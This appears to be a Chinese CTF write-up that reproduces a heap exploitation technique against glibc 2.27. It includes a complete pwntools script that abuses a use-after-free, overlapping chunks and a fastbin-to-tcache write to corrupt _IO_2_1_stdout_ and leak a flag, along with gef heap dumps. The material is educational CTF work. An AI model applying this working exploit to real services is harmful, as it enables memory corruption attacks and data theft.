看了看雪的WP,第一次见这个东西,复现一下。
libc-2.27-3Ubuntu1.6-amd64
这个版本的libc禁用了3u1的直接double两次free的地址不能相同,并且_IO_2_1_stdout_头部也是清空的不能通过覆盖一个尾字节泄露地址,同时题目没有show。但是题目会把flag请入到堆中。
如是我闻:
1,通过建立重叠块利用unsort残留修改后指向_IO_2_1_stdout_将写入终地址(堆地址都是55XXX,写FF填充即中)
2,释放块填满tcache,再释放放入fastbin,当tcache用完后使用fastbin时,如果tcache有空位会把fastbin剩余放入,并把fastbin第1块指针位置处bk写入堆起始地址
题目很容易看,有add,edit,free其中free有UAF
- void m3free()
- {
- unsigned __int64 n; // [rsp+8h] [rbp-8h]
-
- write_s("Index: ");
- n = read_n();
- if ( n <= 0xF )
- {
- if ( qword_2143A0[n] )
- free((void *)qword_2143A0[n]);
- }
- }
先布局个堆
- add(0, 0x30)
- add(1, 0x500)
- add(3, 0x30)
- add(4, 0x10)
- add(5, 0x10)
- add(11, 0x40)
先设置个重叠块2在0和1块的中间,可以覆盖到1的头部,通过修改1在大小反复释放得到相应的bin
- #make a overlap on 0.5 建一个块与1重叠,以后通过它修改1的头和fd
- edit(1, flat(0,0,0,0x4f1,0,0x4e1))
- edit(0, flat(0,0,0,0x41))
- free(0)
- free(3)
- edit(3, p8(0xc0))
- add(12, 0x30)
- add(2, 0x30) # 2= 0.5 overlap chunk1.head
bins的准备:
1,先放一个50的块到tcache,将来这个位置释放成unsort后,指针指向main_arena修改到_IO_2_1_stdout_ 用这个tcache块建块到_stdout_
- #将0x50放入tcache
- edit(2, flat(0,0,0,0x51))
- free(1) # 1 size 0x50 tcache
2,释放0x20的块填满tcache然后释放一块到fastbin
- #先将0x20的tcache填满,再释放1个到fastbin
- edit(2, flat(0,0,0,0x21,0,0)) #fill tcache
- for i in [4,5,4,5,4,5,4]:
- free(i)
- edit(i, p64(0))
- free(1) #fastbin
修改回510头,释放到到fd->main_arena
- #改为500释放得到main_arena指针
- edit(2, flat(0,0,0,0x511))
- free(1) #unsort fd->main_arena
利用第1步准备的50块,在stdout_写入止地址(半字节爆破)
- #gdb.attach(p)
- #pause()
- #lh = int(input('lh'), 16)
- #将块改为50,修改fd后两字节(爆破半字节)将原指向main_arena的指针指向_IO_2_1_stdout_ x760
- lh = 0xc
- edit(2, flat(0,0,0,0x51)+p8(0x60)+p8(lh*16+7))
- add(13, 0x40)
- add(14, 0x40) # _IO_2_1_stdout_
- edit(14, flat(0xfbad1800,0,0,0,0,0x5fffffffffff)) #写入输出止地址
修改指向_stdout+8 (以此为起点bk写入的位置是_IO_2_1_stdout_+0x20)建块用把tcache再建,会在指针指向处的bk位置写入堆地址。
- # fastbin reverse into tcache 2.27-3u1.6 利用bk指针写入到_IO_2_1_stdout_
- #将_IO_2_1_stdout_ 改为 +8,建第1个块用掉tcache,建第2个块使用fastbin,剩余部分会放入tcache,fastbin->next指针处写入heap地址
- #0x60 0 0,0x21,0,(heap)
- edit(2, flat(0,0,0,0x21)+ p8(0x68)+p8(lh*16+7))
- add(15, 0x10)
- add(6, 0x10)
最后选菜单6退出,执行exit(0)会输出*(stdout_ + 0x20)到*(+0x28)两个地址间的数据(由于止址写入的是fff所以会非常多,只需要0x250后的一小块)
- p.sendlineafter(b"Your choice: ", b'6')
- p.recv(0x250)
- print(p.recv(0x100))
- p.interactive()
完整的WP和当时的堆状态
- from pwn import *
-
- elf = ELF('./leak')
- libc_elf = ELF('/home/kali/glibc/2.27-3u1.6-amd64/libc-2.27.so')
- context(arch='amd64', log_level='debug')
-
- def add(idx, size):
- p.sendlineafter(b"Your choice: ", b'1')
- p.sendlineafter(b"Index: ", str(idx).encode())
- p.sendlineafter(b"Size: ", str(size).encode())
-
- def edit(idx, msg):
- p.sendlineafter(b"Your choice: ", b'2')
- p.sendlineafter(b"Index: ", str(idx).encode())
- p.sendafter(b"Content: ", msg)
-
- def free(idx):
- p.sendlineafter(b"Your choice: ", b'3')
- p.sendlineafter(b"Index: ", str(idx).encode())
-
- def pwn():
- global p
-
- p = process('./leak')
-
- #lh = int(input('lh:'), 16)
-
- add(0, 0x30)
- add(1, 0x500)
- add(3, 0x30)
- add(4, 0x10)
- add(5, 0x10)
- add(11, 0x40)
-
- #make a overlap on 0.5 建一个块与1重叠,以后通过它修改1的头和fd
- edit(1, flat(0,0,0,0x4f1,0,0x4e1))
- edit(0, flat(0,0,0,0x41))
- free(0)
- free(3)
- edit(3, p8(0xc0))
- add(12, 0x30)
- add(2, 0x30) # 2= 0.5 overlap chunk1.head
-
- #将0x50放入tcache
- edit(2, flat(0,0,0,0x51))
- free(1) # 1 size 0x50 tcache
-
- #先将0x20的tcache填满,再释放1个到fastbin
- edit(2, flat(0,0,0,0x21,0,0)) #fill tcache
- for i in [4,5,4,5,4,5,4]:
- free(i)
- edit(i, p64(0))
- free(1) #fastbin
-
- #改为500释放得到main_arena指针
- edit(2, flat(0,0,0,0x511))
- free(1) #unsort fd->main_arena
-
- #gdb.attach(p)
- #pause()
- #lh = int(input('lh'), 16)
- #将块改为50,修改fd后两字节(爆破半字节)将原指向main_arena的指针指向_IO_2_1_stdout_ x760
- lh = 0xc
- edit(2, flat(0,0,0,0x51)+p8(0x60)+p8(lh*16+7))
- add(13, 0x40)
- add(14, 0x40) # _IO_2_1_stdout_
- edit(14, flat(0xfbad1800,0,0,0,0,0x5fffffffffff)) #写入输出止地址
-
- # fastbin reverse into tcache 2.27-3u1.6 利用bk指针写入到_IO_2_1_stdout_
- #将_IO_2_1_stdout_ 改为 +8,建第1个块用掉tcache,建第2个块使用fastbin,剩余部分会放入tcache,fastbin->next指针处写入heap地址
- #0x60 0 0,0x21,0,(heap)
- edit(2, flat(0,0,0,0x21)+ p8(0x68)+p8(lh*16+7))
- add(15, 0x10)
- add(6, 0x10)
-
- p.sendlineafter(b"Your choice: ", b'6')
- p.recv(0x250)
- print(p.recv(0x100))
- p.interactive()
-
- while True:
- try:
- pwn()
- except:
- pass
- break
-
- '''
- gef➤ heap bins
- ─────────────────────────────────────── Tcachebins for arena 0x7fa6fa1ebc40 ───────────────────────────────────────
- Tcachebins[idx=0, size=0x20] count=7 ← Chunk(addr=0x7fa6fa1ec778, size=0x0, flags=)
- Tcachebins[idx=3, size=0x50] count=255 ← [Corrupted chunk at 0xfbad2084]
- ──────────────────────────────────────── Fastbins for arena 0x7fa6fa1ebc40 ────────────────────────────────────────
- Fastbins[idx=0, size=0x20] 0x00
- Fastbins[idx=1, size=0x30] 0x00
- Fastbins[idx=2, size=0x40] 0x00
- Fastbins[idx=3, size=0x50] 0x00
- Fastbins[idx=4, size=0x60] 0x00
- Fastbins[idx=5, size=0x70] 0x00
- Fastbins[idx=6, size=0x80] 0x00
- ──────────────────────────────────── Unsorted Bin for arena '*0x7fa6fa1ebc40' ────────────────────────────────────
- [+] unsorted_bins[0]: fw=0x558c5ff012d0, bk=0x558c5ff012d0
- → Chunk(addr=0x558c5ff012e0, size=0x20, flags=PREV_INUSE)
- [+] Found 1 chunks in unsorted bin.
- ───────────────────────────────────── Small Bins for arena '*0x7fa6fa1ebc40' ─────────────────────────────────────
- [+] Found 0 chunks in 0 small non-empty bins.
- ───────────────────────────────────── Large Bins for arena '*0x7fa6fa1ebc40' ─────────────────────────────────────
- [+] Found 0 chunks in 0 large non-empty bins.
- gef➤ x/8gx &_IO_2_1_stdout_
- 0x7fa6fa1ec760 <_IO_2_1_stdout_>: 0x00000000fbad1800 0x0000000000000000
- 0x7fa6fa1ec770 <_IO_2_1_stdout_+16>: 0x0000000000000000 0x0000000000000000
- 0x7fa6fa1ec780 <_IO_2_1_stdout_+32>: 0x0000558c5ff01010 0x00005fffffffffff
- 0x7fa6fa1ec790 <_IO_2_1_stdout_+48>: 0x0000000000000000 0x0000000000000000
- gef➤ heap chunks
- Chunk(addr=0x558c5ff01010, size=0x250, flags=PREV_INUSE)
- [0x0000558c5ff01010 07 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 ................]
- Chunk(addr=0x558c5ff01260, size=0x40, flags=PREV_INUSE)
- [0x0000558c5ff01260 66 6c 61 67 7b 54 65 73 74 2e 2e 2e 2e 2e 2e 2e flag{Test.......]
- Chunk(addr=0x558c5ff012a0, size=0x40, flags=PREV_INUSE)
- [0x0000558c5ff012a0 00 00 00 00 00 00 00 00 10 10 f0 5f 8c 55 00 00 ..........._.U..]
- Chunk(addr=0x558c5ff012e0, size=0x20, flags=PREV_INUSE)
- [0x0000558c5ff012e0 68 c7 1e fa a6 7f 00 00 00 00 00 00 00 00 00 00 h...............]
- '''